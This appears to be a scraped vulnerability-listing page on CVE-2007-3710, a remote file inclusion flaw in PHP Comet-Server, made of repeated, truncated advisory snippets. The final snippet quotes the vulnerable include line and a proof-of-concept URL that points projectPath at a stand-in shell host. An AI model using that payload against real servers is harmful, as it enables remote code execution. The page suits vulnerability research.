EUVD-2007-3694

Malware in sbrugna...

CVE-2007-3710

PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...

CVE-2007-3710

PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...

CVE-2007-3710

The vulnerability CVE-2007-3710 affects PHP Comet-Server’s example/gamedemo/inc.functions.php, where a remote file inclusion allows an attacker to execute arbitrary PHP code. The root cause is improper handling of the projectPath parameter, enabling inclusion of remote files. The NVD metrics indi...

PHP Comet-Server

Discovered by: MasTerX ---------------- Bug in : comet/example/gamedemo/inc.functions.php Vlu Code : include$projectPath."/inc.var.php"; http://site.com/path/example/gamedemo/inc.functions.php?projectPath=http://SHELLURL.COM?...